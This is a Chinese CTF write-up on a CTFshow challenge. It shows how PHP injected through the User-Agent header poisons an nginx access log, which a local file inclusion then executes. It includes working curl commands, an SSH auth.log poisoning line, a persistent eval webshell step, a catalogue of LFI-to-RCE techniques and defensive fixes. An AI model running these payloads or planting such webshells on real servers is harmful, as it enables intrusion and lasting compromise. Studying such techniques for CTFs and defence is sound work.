Web应用安全与防护_第三章_日志文件包含_从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册

从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册

摘要 :本文以 CTFshow 「日志文件包含 | 日志注入」一题(CTF{php_access_l0g_lf1_is_fun})为切入点,完整还原「通过 User-Agent 向 Nginx access.log 投毒,再利用 LFI 包含执行」的攻击链。重点解答三个高频疑问:① 为什么必须发两次请求;② 为什么用 Intruder fuzz 打不通而 Repeater 可以;③ 遇到变种(换中间件、换日志、换语言、换载体)时如何系统性地举一反三。最后给出一套通用的 LFI → RCE 决策树与防守侧修复方案。

关键词 :LFI、日志注入、Log Poisoning、LFI to RCE、二阶漏洞、CTFshow、文件包含

标签 :Web安全 CTF 文件包含 RCE 渗透测试


一、题目初探:先分清 LFI 还是 RFI

题目只有一个输入框 Enter file path:,后端等价于:

php 复制代码
<?php
// index.php(简化版)
if (isset($_POST['file'])) {
    include($_POST['file']);   // 完全可控,无任何过滤
}
?>

第一步永远是定性 :输入一个已知存在的系统文件 /etc/passwd。

  • 能读出内容 → 说明路径参数被真实 include/require 了,且是 LFI(本地文件包含);
  • 若能 include('http://evil.com/shell.txt') 并执行 → 那是 RFI(远程文件包含) ,需要 allow_url_include=On,现代环境基本绝迹。

本题 /etc/passwd 可读,判定为 LFI。

LFI 与 RFI 的区别一句话 :LFI 只能包含服务器本地已存在的文件(所以必须"找一台能写内容进去的本地文件"),RFI 可以直接拉远程恶意文件。RFI 少了"写入"这一步,LFI 则必须解决"往本地哪个文件里写我的 PHP 代码"这个核心问题。


二、核心思路:LFI 想 RCE,必须找到「可控内容 + 可解析」的交点

include() 有三个决定性的特性,这道题全押在这三点上:

  1. 参数完全可控 ------ 想包含谁就包含谁;
  2. 被包含文件会被当作 PHP 解析 ------ 哪怕后缀是 .log、.txt、.jpg,只要里面出现了 <?php ... ?>,标签内就会被执行,标签外原样输出;
  3. 文件内容不必由你直接上传 ------ 只要能找到"文件内容里会记录我的输入"的本地文件即可。

第 3 条就是本题的破局点:Web 服务器的访问日志会原样记录请求里的 User-Agent。

于是攻击链成立:

复制代码
我能控制的输入(UA)
      ↓  被 nginx 原样写入
/var/log/nginx/access.log
      ↓  被 include() 当作 PHP 解析
执行 system('cat /var/www/html/flag.php')

三、完整复现

3.1 尝试 /proc/self/environ(失败)

先试最常见的 /proc/self/environ(它记录了当前进程的环境变量,其中 HTTP_USER_AGENT 会带上我们的输入):

复制代码
POST file=/proc/self/environ

返回 permission denied ------ 说明 PHP-FPM worker 用户对该文件无读权限(或受 open_basedir 限制)。这条路堵死,换日志文件。

3.2 确认日志文件可读

复制代码
POST file=/var/log/nginx/access.log

返回了一堆访问记录 → 路径正确、且 www-data 有读权限。这一步必须单独确认,不然后面全是盲打。

不同环境常见路径:

  • Nginx:/var/log/nginx/access.log、/var/log/nginx/error.log
  • Apache:/var/log/apache2/access.log、/var/log/apache/access_log、/var/log/httpd/access_log
  • 实在找不到:用 php://filter 读一份应用源码或 /etc/nginx/sites-enabled/default 里的 access_log 配置项。

3.3 投毒 + 触发(两条命令)

bash 复制代码
# ① 投毒:把 PHP 代码塞进 UA,让它落进日志
curl -k -A "<?php system('cat /var/www/html/flag.php');?>" \
     "https://target.challenge.ctf.show/"

# ② 触发:包含日志,代码被执行
curl -k -d "file=/var/log/nginx/access.log" \
     "https://target.challenge.ctf.show/"

第 ② 条命令的响应里就能看到:

复制代码
CTF{php_access_l0g_lf1_is_fun}

Burp 里对应的"触发包"长这样:

http 复制代码
POST / HTTP/1.1
Host: 212ec292-5805-4066-b608-a4a4da359f8c.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: <?php system('cat /var/www/html/flag.php');?>
Content-Length: 38

file=%2Fvar%2Flog%2Fnginx%2Faccess.log

注意 UA 是明文的 ,没有被写成 %3C%3Fphp...。这是成败关键(见第五节排错)。


四、灵魂拷问:为什么必须两次请求?

这是本题最容易被绕晕的地方:我明明在一个包里既改了 UA、又让 file 指向了日志,为什么第一次只有日志、第二次才出 flag?

答案藏在 Nginx 的请求生命周期里。Nginx 把一次请求划分为若干阶段(phase),关键的两个是:

复制代码
POST_READ → SERVER_REWRITE → FIND_CONFIG → REWRITE → POST_REWRITE
→ PREACCESS → ACCESS → POST_ACCESS → PRECONTENT
→ CONTENT          ← ★ PHP-FPM 在这里执行 include()
→ LOG              ← ★ access.log 在这里才落盘

画成时序图:

复制代码
=== 请求 #1(UA 带毒 + file=access.log)===
  t0  请求到达
  t1  CONTENT 阶段:PHP 执行 include('/var/log/nginx/access.log')
      此刻日志里只有「#1 之前」的记录 ------ 没有你这次的 UA
  t2  响应返回 → 你看到的是一堆纯文本,没有 PHP 标签 → 无 flag
  t3  LOG 阶段:nginx 写入 #1 的日志行
      ... "<?php system('cat /var/www/html/flag.php');?>"   ← 现在才落盘

=== 请求 #2(同样的包)===
  t4  CONTENT 阶段:include 日志
      这次日志里已经有 #1 那行了,里面有 <?php ... ?>
  t5  PHP 解析:标签外当文本输出,标签内当代码执行
      → system('cat /var/www/html/flag.php') 运行
  t6  响应返回:日志文本 + flag ✅

核心结论:

Nginx 的 access log 写入发生在 LOG 阶段 ,即响应发回客户端之后 ;而 include() 执行发生在 CONTENT 阶段 ,即请求处理之中 。存在不可跨越的时序差,因此任何一次请求都读不到自己这一次的日志行,只能读到上一次的。

两个可以立刻自证的实验

  1. 看第一次响应的最后一行 ------ 它是你上一个请求,不是当前这个。第一次响应里搜 <?php system 搜不到,第二次能搜到。
  2. 把 UA 改回正常浏览器 UA,再发第三次 ------ flag 照样出 。因为毒已经持久化在日志文件里了,后续任何一次 include 都会执行它,直到日志被轮转(logrotate)或清空。

它到底是什么类型的漏洞?

层次 中文 英文 / 行话 CWE
漏洞本体 本地文件包含 LFI (Local File Inclusion) CWE-98
利用技巧 日志文件包含 Log File Inclusion ---
写入手法 日志注入 / 日志投毒 Log Injection / Log Poisoning CWE-117
漏洞性质 二阶(存储型)漏洞 Second-Order / Stored CWE-94
最终效果 文件包含导致代码执行 LFI to RCE ---

二阶 是理解它的钥匙:payload 先持久化,再被另一个请求触发执行 。这和存储型 XSS 是完全相同的思维模型------你不可能在"提交评论"的那一个请求里看到弹窗。


五、排错清单:为什么我用 Intruder fuzz 打不通?

这是实操中最常踩的坑,按出现概率排序:

① Burp Intruder 默认会对 payload 做 URL 编码(最常见)

Intruder 有全局的 URL 编码设置(Intruder → URL-encode these characters)以及 Payload Processing 里的 URL-encode key characters 规则。你写的:

复制代码
<?php system('cat /var/www/html/flag.php');?>

实际发出去可能变成:

复制代码
%3C%3Fphp+system%28%27cat+/var/www/html/flag.php%27%29%3B%3F%3E

nginx 会原样 把这串编码后的东西记进日志,include() 后它就是普通文本,不会执行。

而 Repeater 不对你的输入做任何编码,怎么敲就怎么发 ------ 这就是"重放能行、fuzz 不行"的根本原因。

修复:Intruder → Payloads → Payload Processing 删除 URL-encode 规则;并清空 Intruder 设置里的 "URL-encode these characters"。

② 字符被转义导致语法错误

Nginx 日志默认 escape=default,只会转义 "、反斜杠和不可打印字符(转成 \x22、\x0A 等)。因此:

  • ✅ 用单引号 :system('cat /flag')
  • ❌ 用双引号:system("cat /flag") → 会变成 system(\x22cat /flag\x22) → 语法错误
  • 尖括号 < > 不会被转义 ,所以 <?php ?> 能原样进日志

如果你遇到的是 escape=json(< 变成 \u003c),日志投毒这条路基本失效,直接换思路(见第七节)。

③ 请求根本没到服务器

点了 Drop 而不是 Forward,或者 Intercept 一直开着导致后续请求被拦住改回原样。投毒请求必须真正送达才会落盘。

④ payload 打错了位置

如果 fuzz 的是 file= 参数,那 UA 里的 PHP 只是"顺带"发出去的载荷。正确顺序是:先 Repeater 发一次带毒 UA(file 参数随便填)→ 再对包含请求 fuzz。

⑤ 日志路径或权限不对

不同镜像、不同中间件路径不同;www-data 也不一定对日志有读权限。先用 file=<候选路径> 单独验证一次再投毒。

排错万能法

先 include 一次日志看原始内容:

  • 看到 <?php system('cat ...');?> 明文 → 写入成功,问题在 flag 路径或命令;
  • 看到 %3C%3Fphp+system... → 确认是 URL 编码问题;
  • 根本看不到那条请求 → 请求没发出去,或日志路径不对。

六、从 RCE 到 GetShell:顺手留个后门

既然代码已经能执行,就别只满足于 cat 一个文件。把投毒的 UA 换成写马:

php 复制代码
<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[1]);?>');?>

然后包含一次日志触发它,之后直接用蚁剑/冰蝎连 https://target/shell.php,密码 1。

写马时同样注意:外层用单引号包住内层字符串 ,避免双引号被转义。也可以先 base64 编码内层再 file_put_contents(..., base64_decode('...')),更稳。


七、举一反三:变种矩阵与通用决策树

真正有价值的问题是:换个环境、换个中间件、换个语言,我还能认出它吗?

7.1 变体一:换「写入点」(哪个字段会被记录)

只要是被写进日志的请求字段,都可以当投毒入口:

写入点 示例 备注
User-Agent User-Agent: <?php ... ?> 最常用,几乎所有日志格式都记录
Referer Referer: <?php ... ?> UA 被过滤时的首选替代
X-Forwarded-For X-Forwarded-For: <?php ... ?> 需日志格式显式记录该头
Cookie Cookie: sess=<?php ... ?> 部分日志格式会记录
请求行(URL) GET /<?php system('id');?> HTTP/1.1 万能兜底,请求行必然被记录,且不受 UA 过滤影响
请求体 部分 error.log 会回显 较少见

重试口诀:UA → Referer → 请求行 。请求行是永远不会被 WAF 完全拦掉的兜底通道(但可能被 URL 编码,注意 ? # 空格)。

7.2 变体二:换「日志文件」(还能往哪儿写)

服务 日志文件 投毒方式
Nginx /var/log/nginx/access.log、error.log UA / 请求行;error.log 可用"访问不存在路径"触发 404 记录
Apache /var/log/apache2/access.log、/var/log/httpd/access_log 同上
SSH /var/log/auth.log ssh '<?php system($_GET[0]);?>'@target → 记录 Invalid user <?php...>(HTB 经典考点)
Mail /var/log/mail.log 用恶意用户名登录 SMTP/POP3
FTP /var/log/vsftpd.log 用恶意用户名登录
MySQL 部分错误日志 恶意用户名/语句
应用自身日志 Laravel、ThinkPHP、Spring Boot 的 *.log 记录异常参数、UA、用户名等

SSH 日志投毒示例(非常经典的变种):

bash 复制代码
ssh '<?php system($_GET[0]);?>'@10.10.10.10
# 然后
curl 'http://target/?file=/var/log/auth.log&0=id'

7.3 变体三:换「包含载体」(不用日志怎么 RCE)

日志只是"可写内容的本地文件"之一。LFI → RCE 的完整武器库:

手法 条件 说明
日志投毒 日志可读 本文主角
Session 文件包含 有 session_start() 且 session 值可控 文件路径 /var/lib/php/sessions/sess_<PHPSESSID> 或 /tmp/sess_<id>;把 <?php ...?> 写进某个 session 键值
/proc/self/environ PHP-FPM 与文件同用户、无 open_basedir 本题被拒但很多机器可用
/proc/self/fd/N 结合上传/临时文件 高级技巧
上传临时文件竞争 有文件上传 上传大文件,用 phpinfo() 页面泄露 /tmp/phpXXXXXX,在删除前抢先包含
图片马 + 上传 上传点不重命名/可预测路径 最直接
php://input allow_url_include=On file=php://input + 请求体里另一个参数放 PHP 代码,单次请求即可 RCE
data:// allow_url_include=On file=data://text/plain;base64,PD9waHA...
php://filter 只读不执行 用来读源码 :php://filter/convert.base64-encode/resource=index.php
pearcmd.php register_argc_argv=On 且装了 PEAR 可写文件 getshell,近年多场比赛考点

7.4 变体四:换语言 / 中间件

环境 对应玩法
Tomcat / JSP localhost_access_log 记录 UA → 配合 JSP 文件包含执行;或直接写 JSP 马
Java Spring 日志投毒本身不能执行(没有"把日志当 JSP"的入口),需配合模板注入 、日志回显 + SSTI、或 log4j 类漏洞
Node.js 需存在 res.render() 动态模板路径可控,或日志文件被 require()
.NET / IIS IIS 日志(%SystemDrive%\inetpub\logs\LogFiles)+ 文件包含类漏洞;或写 .aspx 马

判断标准不在语言,而在于 :是否存在一个「把文件内容当作代码来解析执行 」的入口。PHP 的 include 是最典型、门槛最低的一个。

7.5 通用决策树(背下来,遇到任何 LFI 照着走)

复制代码
发现参数可控的包含点
      │
      ├─ ① 读 /etc/passwd 确认是 LFI(不是则查 RFI / 模板注入)
      │
      ├─ ② 有源码?→ php://filter 读 index.php 审计,直接看过滤逻辑
      │
      ├─ ③ 找「可控内容 + 可解析」的落点,按优先级试:
      │     A. 有上传点吗?          → 图片马 / 临时文件竞争
      │     B. Session 值可控吗?    → Session 文件包含
      │     C. 日志可读吗?          → 日志投毒(UA → Referer → 请求行)
      │     D. /proc/self/environ    → UA 投毒(单次即可)
      │     E. allow_url_include?    → php://input / data://(单次即可)
      │     F. pearcmd / 已有可写文件 → 写马 getshell
      │
      ├─ ④ 打不通?查三件事:
      │     · open_basedir 限制?
      │     · disable_functions 禁了 system/exec?→ 换 passthru/popen/反引号/readfile
      │     · 目标文件权限?→ 换路径、换用户可读的日志
      │
      └─ ⑤ 通了 → 写马 getshell / 直接读 flag

三个必问自己的问题:

  1. 有没有"我说了算的内容"能落到服务器本地文件里?(日志、session、临时文件、上传)
  2. 有没有上层会把它当代码解析? (include、require、模板引擎、JSP)
  3. 权限够不够? (读权限、open_basedir、disable_functions)

只要 1 和 2 同时成立,LFI 就一定能变 RCE。日志投毒只是第 1 条的一种实现方式。


八、防守方视角:怎么修

层面 措施
代码层(根治) 绝不把用户输入直接传给 include/require;改用白名单映射 :$map = ['home'=>'/tpl/home.php']; include($map[$_GET['p']] ?? $map['home']);
PHP 配置 open_basedir 限定目录;disable_functions 禁用 system/exec/passthru/shell_exec/proc_open;allow_url_include=Off
日志权限 日志目录属主 root:adm、权限 640,禁止 www-data 读取(这题立刻失效)
日志内容 自定义 log_format 不记录 UA;或开启 escape=json 并转义特殊字符
运行用户 PHP-FPM 与 nginx 分用户,且不给 shell
WAF/监控 拦截 UA/Referer/URL 中出现 <?php、<?=、base64_decode、system( 的请求;对日志中出现 PHP 标签做告警
运维 定期 logrotate;容器化把日志挂到不可被 Web 用户访问的位置

一个容易被忽略的点:日志投毒之所以能成功,本质是因为"Web 进程既能写日志又能读日志",还"能把日志当代码跑"。切断任意一环即可防御。


九、总结与记忆口诀

  1. LFI 变 RCE 的本质 :找到一个"内容我可控"的本地文件,再让 include() 把它当 PHP 执行。
  2. 日志投毒 = 二阶漏洞 :先写(投毒请求落盘)后读(包含请求执行),时序上必须分两次请求。
  3. 时序根源 :Nginx 的 LOG 阶段在 CONTENT 阶段之后;include() 跑在 CONTENT 阶段,读不到自己这一次。
  4. Intruder 打不通 多半是 payload 被 URL 编码;Repeater 不编码所以能成。
  5. 单引号、别用双引号 ------nginx 会转义 " 成 \x22。
  6. 变种万变不离其宗 :换写入点(UA/Referer/请求行/XFF)、换日志(nginx/apache/auth.log/mail.log)、换载体(session/临时文件/伪协议/pearcmd)、换语言(JSP/模板引擎)------认准"可控内容 + 可解析入口"这对交点即可。

一句话给面试官/答辩用:"这是利用 Nginx 日志投毒(CWE-117)配合本地文件包含(CWE-98)实现的二阶代码执行(CWE-94),属于 LFI to RCE。由于 Nginx 在 LOG 阶段才写 access.log,而 include 在 CONTENT 阶段执行,因此载荷需经一次持久化后再由后续请求触发。"


附录:本文 Flag 与环境

  • 题目:CTFshow 文件包含(日志注入)
  • Flag:CTF{php_access_l0g_lf1_is_fun}
  • 关键路径:/var/log/nginx/access.log、/var/www/html/flag.php

参考资料

  • CWE-98:Improper Control of Filename for Include/Require Statement in PHP Program
  • CWE-117:Improper Output Neutralization for Logs
  • CWE-94:Improper Control of Generation of Code (Code Injection)
  • OWASP Top 10 2021 --- A03: Injection
  • Nginx 官方文档:HTTP 请求处理阶段(Phase)与 log_format / escape 参数
相关推荐
拥小抱1 小时前
Compose 知识点
android
塞讯科技1 小时前
13,500 个分支被植入窃密工作流:Gheist 如何用 GitHub 令牌搬走仓库密钥
网络安全·ai·github·软件供应链安全·供应链投毒
AIsoft_86891 小时前
学术讲座录音如何整理?录音APP可行吗
android·iphone
Patrick在香港4 小时前
一个斜杠,把毫秒变成十几秒
android·数据库·python·性能优化·正则表达式·回溯·redos
海雅达手持终端PDA5 小时前
工业手持终端的“去手机化”演进:看海雅达如何以“同轴扫摄”终结工程妥协,重塑工业PDA新范式
android·物联网·智能手机·硬件工程·能源·制造·iot
booboosui6 小时前
删掉一个住在本机的 agent:8 处要清,顺序不能反
android
hcgeng6 小时前
Android获取崩溃日志
android
aqi006 小时前
AI编程让鸿蒙开发电子书APP更加快捷
android·华为·harmonyos·鸿蒙·harmony